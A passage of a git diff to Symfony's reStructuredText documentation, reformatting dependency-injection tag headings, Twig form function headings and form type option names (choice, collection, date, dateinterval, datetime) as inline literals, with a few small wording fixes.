@@ -453,8 +453,8 @@ metadata and Doctrine metadata (if you're using Doctrine) or Propel metadata
     For information on how to create your own type guesser, see
     :doc:`/form/type_guesser`.
 
-kernel.cache_clearer
---------------------
+``kernel.cache_clearer``
+------------------------
 
 **Purpose**: Register your service to be called during the cache clearing
 process
@@ -515,8 +515,8 @@ can also register it manually:
             ->addTag('kernel.cache_clearer')
         ;
 
-kernel.cache_warmer
--------------------
+``kernel.cache_warmer``
+-----------------------
 
 **Purpose**: Register your service to be called during the cache warming
 process
@@ -617,8 +617,8 @@ with the following command:
 
 .. _dic-tags-kernel-event-listener:
 
-kernel.event_listener
----------------------
+``kernel.event_listener``
+-------------------------
 
 **Purpose**: To listen to different events/hooks in Symfony
 
@@ -637,16 +637,16 @@ see the :doc:`Symfony Events Reference </reference/events>`.
 
 .. _dic-tags-kernel-event-subscriber:
 
-kernel.event_subscriber
------------------------
+``kernel.event_subscriber``
+---------------------------
 
 **Purpose**: To subscribe to a set of different events/hooks in Symfony
 
 This is an alternative way to create an event listener, and is the recommended
 way (instead of using ``kernel.event_listener``). See :ref:`events-subscriber`.
 
-kernel.fragment_renderer
-------------------------
+``kernel.fragment_renderer``
+----------------------------
 
 **Purpose**: Add a new HTTP content rendering strategy
 
@@ -655,8 +655,8 @@ To add a new rendering strategy - in addition to the core strategies like
 :class:`Symfony\\Component\\HttpKernel\\Fragment\\FragmentRendererInterface`,
 register it as a service, then tag it with ``kernel.fragment_renderer``.
 
-kernel.reset
-------------
+``kernel.reset``
+----------------
 
 **Purpose**: Clean up services between requests
 
@@ -672,8 +672,8 @@ of the profiler to delete all their information.
 
 .. _dic_tags-monolog:
 
-monolog.logger
---------------
+``monolog.logger``
+------------------
 
 **Purpose**: To use a custom logging channel with Monolog
 
@@ -724,8 +724,8 @@ channel when injecting the logger in a service.
 
 .. _dic_tags-monolog-processor:
 
-monolog.processor
------------------
+``monolog.processor``
+---------------------
 
 **Purpose**: Add a custom processor for logging
 
@@ -854,8 +854,8 @@ You can also add a processor for a specific logging channel by using the
     You cannot use both the ``handler`` and ``channel`` attributes for the
     same tag as handlers are shared between all channels.
 
-routing.loader
---------------
+``routing.loader``
+------------------
 
 **Purpose**: Register a custom service that loads routes
 
@@ -896,8 +896,8 @@ of your configuration and tag it with ``routing.loader``:
 
 For more information, see :doc:`/routing/custom_route_loader`.
 
-routing.expression_language_provider
-------------------------------------
+``routing.expression_language_provider``
+----------------------------------------
 
 **Purpose**: Register a provider for expression language functions in routing
 
@@ -906,8 +906,8 @@ This tag is used to automatically register
 for the routing expression component. Using these providers, you can add custom
 functions to the routing expression language.
 
-security.expression_language_provider
--------------------------------------
+``security.expression_language_provider``
+-----------------------------------------
 
 **Purpose**: Register a provider for expression language functions in security
 
@@ -916,8 +916,8 @@ This tag is used to automatically register :ref:`expression function providers
 component. Using these providers, you can add custom functions to the security
 expression language.
 
-security.remember_me_aware
---------------------------
+``security.remember_me_aware``
+------------------------------
 
 **Purpose**: To allow remember me authentication
 
@@ -932,8 +932,8 @@ and your custom authentication listener extends
 then your custom authentication listener will automatically have this tag
 applied and it will function automatically.
 
-security.voter
---------------
+``security.voter``
+------------------
 
 **Purpose**: To add a custom voter to Symfony's authorization logic
 
@@ -945,8 +945,8 @@ For more information, read the :doc:`/security/voters` article.
 
 .. _reference-dic-tags-serializer-encoder:
 
-serializer.encoder
-------------------
+``serializer.encoder``
+----------------------
 
 **Purpose**: Register a new encoder in the ``serializer`` service
 
@@ -957,8 +957,8 @@ For more details, see :doc:`/serializer`.
 
 .. _reference-dic-tags-serializer-normalizer:
 
-serializer.normalizer
----------------------
+``serializer.normalizer``
+-------------------------
 
 **Purpose**: Register a new normalizer in the Serializer service
 
@@ -971,8 +971,8 @@ The priorities of the default normalizers can be found in the
 :method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
 method.
 
-swiftmailer.default.plugin
---------------------------
+``swiftmailer.default.plugin``
+------------------------------
 
 **Purpose**: Register a custom SwiftMailer Plugin
 
@@ -993,8 +993,8 @@ For more information on plugins, see `SwiftMailer's Plugin Documentation`_.
 Several SwiftMailer plugins are core to Symfony and can be activated via
 different configuration. For details, see :doc:`/reference/configuration/swiftmailer`.
 
-templating.helper
------------------
+``templating.helper``
+---------------------
 
 **Purpose**: Make your service available in PHP templates
 
@@ -1037,8 +1037,8 @@ templates):
 
 .. _dic-tags-translation-loader:
 
-translation.loader
-------------------
+``translation.loader``
+----------------------
 
 **Purpose**: To register a custom service that loads translations
 
@@ -1103,8 +1103,8 @@ the ``load()`` method on your custom loader.
 
 .. _reference-dic-tags-translation-extractor:
 
-translation.extractor
----------------------
+``translation.extractor``
+-------------------------
 
 **Purpose**: To register a custom service that extracts messages from a
 file
@@ -1178,8 +1178,8 @@ required option: ``alias``, which defines the name of the extractor::
         $container->register(CustomExtractor::class)
             ->addTag('translation.extractor', ['alias' => 'foo']);
 
-translation.dumper
-------------------
+``translation.dumper``
+----------------------
 
 **Purpose**: To register a custom service that dumps messages to a file
 
@@ -1242,8 +1242,8 @@ This is the name that's used to determine which dumper should be used.
 
 .. _reference-dic-tags-twig-extension:
 
-twig.extension
---------------
+``twig.extension``
+------------------
 
 **Purpose**: To register a custom Twig Extension
 
@@ -1288,8 +1288,8 @@ For information on how to create the actual Twig Extension class, see
 `Twig's documentation`_ on the topic or read the
 :doc:`/templating/twig_extension` article.
 
-twig.loader
------------
+``twig.loader``
+---------------
 
 **Purpose**: Register a custom service that loads Twig templates
 
@@ -1340,16 +1340,16 @@ also register it manually:
     The ``priority`` is optional and its value is a positive or negative integer
     that defaults to ``0``. Loaders with higher numbers are tried first.
 
-validator.constraint_validator
-------------------------------
+``validator.constraint_validator``
+----------------------------------
 
 **Purpose**: Create your own custom validation constraint
 
 This tag allows you to create and register your own custom validation constraint.
 For more information, read the :doc:`/validation/custom_constraint` article.
 
-validator.initializer
----------------------
+``validator.initializer``
+-------------------------
 
 **Purpose**: Register a service that initializes objects before validation
 
diff --git a/reference/forms/twig_reference.rst b/reference/forms/twig_reference.rst
index 311f2c850f3..d3f31f3c8ec 100644
--- a/reference/forms/twig_reference.rst
+++ b/reference/forms/twig_reference.rst
@@ -28,8 +28,8 @@ errors, widgets, etc).
 
 .. _reference-forms-twig-form:
 
-form(view, variables)
----------------------
+``form(view, variables)``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Renders the HTML of a complete form.
 
@@ -55,8 +55,8 @@ the other helpers to render individual parts of the form instead:
 
 .. _reference-forms-twig-start:
 
-form_start(view, variables)
----------------------------
+``form_start(view, variables)``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Renders the start tag of a form. This helper takes care of printing the
 configured method and target action of the form. It will also include the
@@ -69,8 +69,8 @@ correct ``enctype`` property if the form contains upload fields.
 
 .. _reference-forms-twig-end:
 
-form_end(view, variables)
--------------------------
+``form_end(view, variables)``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Renders the end tag of a form.
 
@@ -88,8 +88,8 @@ to false:
 
 .. _reference-forms-twig-label:
 
-form_label(view, label, variables)
-----------------------------------
+``form_label(view, label, variables)``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Renders the label for the given field. You can optionally pass the specific
 label you want to display as the second argument.
@@ -111,8 +111,8 @@ argument.
 
 .. _reference-forms-twig-errors:
 
-form_errors(view)
------------------
+``form_errors(view)``
+~~~~~~~~~~~~~~~~~~~~~
 
 Renders any errors for the given field.
 
@@ -125,8 +125,8 @@ Renders any errors for the given field.
 
 .. _reference-forms-twig-widget:
 
-form_widget(view, variables)
-----------------------------
+``form_widget(view, variables)``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Renders the HTML widget of a given field. If you apply this to an entire
 form or collection of fields, each underlying form row will be rendered.
@@ -148,8 +148,8 @@ argument.
 
 .. _reference-forms-twig-row:
 
-form_row(view, variables)
--------------------------
+``form_row(view, variables)``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Renders the "row" of a given field, which is the combination of the field's
 label, errors and widget.
@@ -168,8 +168,8 @@ argument.
 
 .. _reference-forms-twig-rest:
 
-form_rest(view, variables)
---------------------------
+``form_rest(view, variables)``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This renders all fields that have not yet been rendered for the given form.
 It's a good idea to always have this somewhere inside your form as it'll
@@ -188,8 +188,8 @@ condition. Read `the Twig documentation`_ for more information.
 
 .. _form-twig-selectedchoice:
 
-selectedchoice(selected_value)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``selectedchoice(selected_value)``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This test will check if the current choice is equal to the ``selected_value``
 or if the current choice is in the array (when ``selected_value`` is an
@@ -201,8 +201,8 @@ array).
 
 .. _form-twig-rootform:
 
-rootform
-~~~~~~~~
+``rootform``
+~~~~~~~~~~~~
 
 This test will check if the current ``form`` does not have a parent form view.
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 04f78c8b88b..98631be0870 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -5,7 +5,7 @@ BirthdayType Field
 ==================
 
 A :doc:`DateType </reference/forms/types/date>` field that specializes in handling
-birthdate data.
+birth date data.
 
 Can be rendered as a single text box, three text boxes (month, day and year),
 or three select boxes.
@@ -51,8 +51,8 @@ option defaults to 120 years ago to the current year.
 Overridden Options
 ------------------
 
-years
-~~~~~
+``years``
+~~~~~~~~~
 
 **type**: ``array`` **default**: 120 years ago to the current year
 
@@ -68,8 +68,8 @@ These options inherit from the :doc:`DateType </reference/forms/types/date>`:
 
 .. include:: /reference/forms/types/options/days.rst.inc
 
-placeholder
-~~~~~~~~~~~
+``placeholder``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` | ``array``
 
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index 62e76989a80..04b6536eeaa 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -28,8 +28,8 @@ The ``BaseType`` class is the parent class for both the ``button`` type
 and the :doc:`FormType </reference/forms/types/form>`, but it is not part
 of the form type tree (i.e. it cannot be used as a form type on its own).
 
-attr
-~~~~
+``attr``
+~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index ea20f5b9af5..a21c3312416 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -156,8 +156,8 @@ To get fancier, use the `group_by`_ option.
 Field Options
 -------------
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -183,8 +183,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_label.rst.inc
 
-choice_loader
-~~~~~~~~~~~~~
+``choice_loader``
+~~~~~~~~~~~~~~~~~
 
 **type**: :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
 
@@ -220,8 +220,8 @@ the choice options would need to be resolved thus triggering the callback.
 
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
-choices_as_values
-~~~~~~~~~~~~~~~~~
+``choices_as_values``
+~~~~~~~~~~~~~~~~~~~~~
 
 This option is deprecated and you should remove it from your 3.x projects (removing
 it will have *no* effect). For its purpose in 2.x, see the 2.7 documentation.
@@ -239,8 +239,8 @@ it will have *no* effect). For its purpose in 2.x, see the 2.7 documentation.
 Overridden Options
 ------------------
 
-compound
-~~~~~~~~
+``compound``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: same value as ``expanded`` option
 
@@ -259,8 +259,8 @@ The actual default value of this option depends on other field options:
 .. include:: /reference/forms/types/options/empty_data.rst.inc
     :start-after: DEFAULT_PLACEHOLDER
 
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -301,32 +301,32 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 Field Variables
 ---------------
 
-+----------------------------+--------------+-------------------------------------------------------------------+
-| Variable                   | Type         | Usage                                                             |
-+============================+==============+===================================================================+
-| multiple                   | ``boolean``  | The value of the `multiple`_ option.                              |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| expanded                   | ``boolean``  | The value of the `expanded`_ option.                              |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| preferred_choices          | ``array``    | A nested array containing the ``ChoiceView`` objects of           |
-|                            |              | choices which should be presented to the user with priority.      |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| choices                    | ``array``    | A nested array containing the ``ChoiceView`` objects of           |
-|                            |              | the remaining choices.                                            |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| separator                  | ``string``   | The separator to use between choice groups.                       |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| placeholder                | ``mixed``    | The empty value if not already in the list, otherwise             |
-|                            |              | ``null``.                                                         |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| choice_translation_domain  | ``mixed``    | ``boolean``, ``null`` or ``string`` to determine if the value     |
-|                            |              | should be translated.                                             |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| is_selected                | ``callable`` | A callable which takes a ``ChoiceView`` and the selected value(s) |
-|                            |              | and returns whether the choice is in the selected value(s).       |
-+----------------------------+--------------+-------------------------------------------------------------------+
-| placeholder_in_choices     | ``boolean``  | Whether the empty value is in the choice list.                    |
-+----------------------------+--------------+-------------------------------------------------------------------+
++-------------------------------+--------------+-------------------------------------------------------------------+
+| Variable                      | Type         | Usage                                                             |
++===============================+==============+===================================================================+
+| ``multiple``                  | ``boolean``  | The value of the `multiple`_ option.                              |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``expanded``                  | ``boolean``  | The value of the `expanded`_ option.                              |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``preferred_choices``         | ``array``    | A nested array containing the ``ChoiceView`` objects of           |
+|                               |              | choices which should be presented to the user with priority.      |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``choices``                   | ``array``    | A nested array containing the ``ChoiceView`` objects of           |
+|                               |              | the remaining choices.                                            |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``separator``                 | ``string``   | The separator to use between choice groups.                       |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``placeholder``               | ``mixed``    | The empty value if not already in the list, otherwise             |
+|                               |              | ``null``.                                                         |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``choice_translation_domain`` | ``mixed``    | ``boolean``, ``null`` or ``string`` to determine if the value     |
+|                               |              | should be translated.                                             |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``is_selected``               | ``callable`` | A callable which takes a ``ChoiceView`` and the selected value(s) |
+|                               |              | and returns whether the choice is in the selected value(s).       |
++-------------------------------+--------------+-------------------------------------------------------------------+
+| ``placeholder_in_choices``    | ``boolean``  | Whether the empty value is in the choice list.                    |
++-------------------------------+--------------+-------------------------------------------------------------------+
 
 .. tip::
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 77378ad29ea..2a270336192 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -207,8 +207,8 @@ And update the template as follows:
 Field Options
 -------------
 
-allow_add
-~~~~~~~~~
+``allow_add``
+~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -229,8 +229,8 @@ the client side. For more information, see the above example and
     these new objects is set correctly. If you're using Doctrine, this won't
     happen automatically. See the above link for more details.
 
-allow_delete
-~~~~~~~~~~~~
+``allow_delete``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -252,8 +252,8 @@ For more information, see :ref:`form-collections-remove`.
     the main object. None of this is handled automatically. For more
     information, see :ref:`form-collections-remove`.
 
-delete_empty
-~~~~~~~~~~~~
+``delete_empty``
+~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` or ``callable`` **default**: ``false``
 
@@ -294,8 +294,8 @@ may define complex conditions for considering them empty.
     Support for using a callable for the ``delete_empty`` option was introduced
     in Symfony 3.4.
 
-entry_options
-~~~~~~~~~~~~~
+``entry_options``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -321,8 +321,8 @@ type::
         ],
     ]);
 
-entry_type
-~~~~~~~~~~
+``entry_type``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``'Symfony\Component\Form\Extension\Core\Type\TextType'``
 
@@ -332,8 +332,8 @@ you'd use the :doc:`EmailType </reference/forms/types/email>`. If you want
 to embed a collection of some other form, pass the form type class as this
 option (e.g. ``MyFormType::class``).
 
-prototype
-~~~~~~~~~
+``prototype``
+~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -365,8 +365,8 @@ rendering your form, having the entire "form row" may be easier for you.
 For details on how to actually use this option, see the above example as
 well as :ref:`form-collections-new-prototype`.
 
-prototype_data
-~~~~~~~~~~~~~~
+``prototype_data``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``mixed`` **default**: ``null``
 
@@ -385,8 +385,8 @@ for all entries with the `entry_options`_ option will be used::
         'prototype_data' => 'New Tag Placeholder',
     ]);
 
-prototype_name
-~~~~~~~~~~~~~~
+``prototype_name``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``__name__``
 
@@ -412,8 +412,8 @@ The default value is ``[]`` (empty array).
 .. include:: /reference/forms/types/options/empty_data.rst.inc
     :start-after: DEFAULT_PLACEHOLDER
 
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -434,9 +434,9 @@ error_bubbling
 Field Variables
 ---------------
 
-============  ===========  ========================================
-Variable      Type         Usage
-============  ===========  ========================================
-allow_add     ``boolean``  The value of the `allow_add`_ option.
-allow_delete  ``boolean``  The value of the `allow_delete`_ option.
-============  ===========  ========================================
+================  ===========  ========================================
+Variable          Type         Usage
+================  ===========  ========================================
+``allow_add``     ``boolean``  The value of the `allow_add`_ option.
+``allow_delete``  ``boolean``  The value of the `allow_delete`_ option.
+================  ===========  ========================================
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 85c07cb27c7..278b22759ed 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -53,8 +53,8 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 Overridden Options
 ------------------
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **default**: ``Symfony\Component\Intl\Intl::getRegionBundle()->getCountryNames()``
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 249003551d6..c0b3607113c 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -45,8 +45,8 @@ manually, but then you should just use the ``ChoiceType`` directly.
 Overridden Options
 ------------------
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **default**: ``Symfony\Component\Intl\Intl::getCurrencyBundle()->getCurrencyNames()``
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 54ede7b3259..2648d331127 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -62,7 +62,7 @@ field as **three different choice fields**::
         'widget' => 'choice',
     ]);
 
-If your underlying date is *not* a ``DateTime`` object (e.g. it's a unix
+If your underlying date is *not* a ``DateTime`` object (e.g. it's a Unix
 timestamp or a ``DateTimeImmutable`` object), configure the `input`_ option::
 
     $builder->add('publishedAt', DateType::class, [
@@ -70,8 +70,8 @@ timestamp or a ``DateTimeImmutable`` object), configure the `input`_ option::
         'input'  => 'datetime_immutable'
     ]);
 
-Rendering a single HTML5 Textbox
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Rendering a single HTML5 Text Box
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 For a better user experience, you may want to render a single text field and use
 some kind of "date picker" to help your user fill in the right format. To do that,
@@ -139,8 +139,8 @@ Field Options
 
 .. include:: /reference/forms/types/options/days.rst.inc
 
-placeholder
-~~~~~~~~~~~
+``placeholder``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` | ``array``
 
@@ -184,8 +184,8 @@ values for the year, month and day fields::
 Overridden Options
 ------------------
 
-by_reference
-~~~~~~~~~~~~
+``by_reference``
+~~~~~~~~~~~~~~~~
 
 **default**: ``false``
 
@@ -195,8 +195,8 @@ The ``DateTime`` classes are treated as immutable objects.
 
 .. include:: /reference/forms/types/options/data_class_date.rst.inc
 
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **default**: ``false``
 
@@ -222,15 +222,15 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 Field Variables
 ---------------
 
-+--------------+------------+----------------------------------------------------------------------+
-| Variable     | Type       | Usage                                                                |
-+==============+============+======================================================================+
-| widget       | ``mixed``  | The value of the `widget`_ option.                                   |
-+--------------+------------+----------------------------------------------------------------------+
-| type         | ``string`` | Only present when widget is ``single_text`` and HTML5 is activated,  |
-|              |            | contains the input type to use (``datetime``, ``date`` or ``time``). |
-+--------------+------------+----------------------------------------------------------------------+
-| date_pattern | ``string`` | A string with the date format to use.                                |
-+--------------+------------+----------------------------------------------------------------------+
++------------------+------------+----------------------------------------------------------------------+
+| Variable         | Type       | Usage                                                                |
++==================+============+======================================================================+
+| ``widget``       | ``mixed``  | The value of the `widget`_ option.                                   |
++------------------+------------+----------------------------------------------------------------------+
+| ``type``         | ``string`` | Only present when widget is ``single_text`` and HTML5 is activated,  |
+|                  |            | contains the input type to use (``datetime``, ``date`` or ``time``). |
++------------------+------------+----------------------------------------------------------------------+
+| ``date_pattern`` | ``string`` | A string with the date format to use.                                |
++------------------+------------+----------------------------------------------------------------------+
 
 .. _`Bootstrap Datepicker`: https://github.com/eternicode/bootstrap-datepicker
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 3e780148f8a..f031ab0352d 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -75,8 +75,8 @@ options to show (e.g. don't show "months", but *do* show "days")::
 Field Options
 -------------
 
-days
-~~~~
+``days``
+~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 31
 
@@ -89,8 +89,8 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 31 (both inclusive)
     'days' => array_combine(range(1, 31), range(1, 31)),
 
-placeholder
-~~~~~~~~~~~
+``placeholder``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` or ``array``
 
@@ -108,8 +108,8 @@ Alternatively, you can specify a string to be displayed for the "blank" value::
         'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days']
     ]);
 
-hours
-~~~~~
+``hours``
+~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 24
 
@@ -122,8 +122,8 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 24 (both inclusive)
     'hours' => array_combine(range(1, 24), range(1, 24)),
 
-input
-~~~~~
+``input``
+~~~~~~~~~
 
 **type**: ``string`` **default**: ``dateinterval``
 
@@ -137,8 +137,8 @@ your underlying object. Valid values are:
 The value that comes back from the form will also be normalized back into
 this format.
 
-labels
-~~~~~~
+``labels``
+~~~~~~~~~~
 
 .. versionadded:: 3.3
 
@@ -161,8 +161,8 @@ are ``null``, so they display the "humanized version" of the child names (``Inve
         'seconds' => null,
     ]
 
-minutes
-~~~~~~~
+``minutes``
+~~~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 60
 
@@ -175,8 +175,8 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 60 (both inclusive)
     'minutes' => array_combine(range(1, 60), range(1, 60)),
 
-months
-~~~~~~
+``months``
+~~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 12
 
@@ -189,8 +189,8 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 12 (both inclusive)
     'months' => array_combine(range(1, 12), range(1, 12)),
 
-seconds
-~~~~~~~
+``seconds``
+~~~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 60
 
@@ -203,8 +203,8 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 60 (both inclusive)
     'seconds' => array_combine(range(1, 60), range(1, 60)),
 
-weeks
-~~~~~
+``weeks``
+~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 52
 
@@ -217,8 +217,8 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 52 (both inclusive)
     'weeks' => array_combine(range(1, 52), range(1, 52)),
 
-widget
-~~~~~~
+``widget``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``choice``
 
@@ -247,8 +247,8 @@ following:
   will be validated against the form ``PnYnMnDTnHnMnS`` (or ``PnW`` if using
   only weeks).
 
-with_days
-~~~~~~~~~
+``with_days``
+~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
@@ -259,16 +259,16 @@ input to capture days.
 
     This can not be used when `with_weeks`_ is enabled.
 
-with_hours
-~~~~~~~~~~
+``with_hours``
+~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``false``
 
 Whether or not to include hours in the input. This will result in an additional
 input to capture hours.
 
-with_invert
-~~~~~~~~~~~
+``with_invert``
+~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``false``
 
@@ -276,32 +276,32 @@ Whether or not to include invert in the input. This will result in an additional
 checkbox.
 This can not be used when the `widget`_ option is set to ``single_text``.
 
-with_minutes
-~~~~~~~~~~~~
+``with_minutes``
+~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``false``
 
 Whether or not to include minutes in the input. This will result in an additional
 input to capture minutes.
 
-with_months
-~~~~~~~~~~~
+``with_months``
+~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 Whether or not to include months in the input. This will result in an additional
 input to capture months.
 
-with_seconds
-~~~~~~~~~~~~
+``with_seconds``
+~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``false``
 
 Whether or not to include seconds in the input. This will result in an additional
 input to capture seconds.
 
-with_weeks
-~~~~~~~~~~
+``with_weeks``
+~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``false``
 
@@ -312,16 +312,16 @@ input to capture weeks.
 
     This can not be used when `with_days`_ is enabled.
 
-with_years
-~~~~~~~~~~
+``with_years``
+~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 Whether or not to include years in the input. This will result in an additional
 input to capture years.
 
-years
-~~~~~
+``years``
+~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 100
 
@@ -354,18 +354,18 @@ These options inherit from the :doc:`form </reference/forms/types/form>` type:
 Field Variables
 ---------------
 
-============  ===========  ========================================
-Variable      Type         Usage
-============  ===========  ========================================
-widget        ``mixed``    The value of the `widget`_ option.
-with_days     ``Boolean``  The value of the `with_days`_ option.
-with_invert   ``Boolean``  The value of the `with_invert`_ option.
-with_hours    ``Boolean``  The value of the `with_hours`_ option.
-with_minutes  ``Boolean``  The value of the `with_minutes`_ option.
-with_months   ``Boolean``  The value of the `with_months`_ option.
-with_seconds  ``Boolean``  The value of the `with_seconds`_ option.
-with_weeks    ``Boolean``  The value of the `with_weeks`_ option.
-with_years    ``Boolean``  The value of the `with_years`_ option.
-============  ===========  ========================================
+================  ===========  ========================================
+Variable          Type         Usage
+================  ===========  ========================================
+``widget``        ``mixed``    The value of the `widget`_ option.
+``with_days``     ``Boolean``  The value of the `with_days`_ option.
+``with_invert``   ``Boolean``  The value of the `with_invert`_ option.
+``with_hours``    ``Boolean``  The value of the `with_hours`_ option.
+``with_minutes``  ``Boolean``  The value of the `with_minutes`_ option.
+``with_months``   ``Boolean``  The value of the `with_months`_ option.
+``with_seconds``  ``Boolean``  The value of the `with_seconds`_ option.
+``with_weeks``    ``Boolean``  The value of the `with_weeks`_ option.
+``with_years``    ``Boolean``  The value of the `with_years`_ option.
+================  ===========  ========================================
 
 .. _`ISO 8601`: https://en.wikipedia.org/wiki/ISO_8601
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 7e81fc0b90f..3bafb96c57f 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -57,8 +57,8 @@ Field Options
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
 
-date_format
-~~~~~~~~~~~
+``date_format``
+~~~~~~~~~~~~~~~
 
 **type**: ``integer`` or ``string`` **default**: ``IntlDateFormatter::MEDIUM``
 
@@ -69,8 +69,8 @@ for more details.
 The ``date_format`` option does not have any effect when the form is rendered
 as an HTML5 datetime input.
 
-date_widget
-~~~~~~~~~~~
+``date_widget``
+~~~~~~~~~~~~~~~
 
 .. include:: /reference/forms/types/options/date_widget_description.rst.inc
 
@@ -78,8 +78,8 @@ The ``date_widget`` option is ignored when the ``widget`` option is set to ``sin
 
 .. include:: /reference/forms/types/options/days.rst.inc
 
-placeholder
-~~~~~~~~~~~
+``placeholder``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` | ``array``
 
@@ -105,8 +105,8 @@ values for the year, month, day, hour, minute and second fields::
         ]
     ]);
 
-format
-~~~~~~
+``format``
+~~~~~~~~~~
 
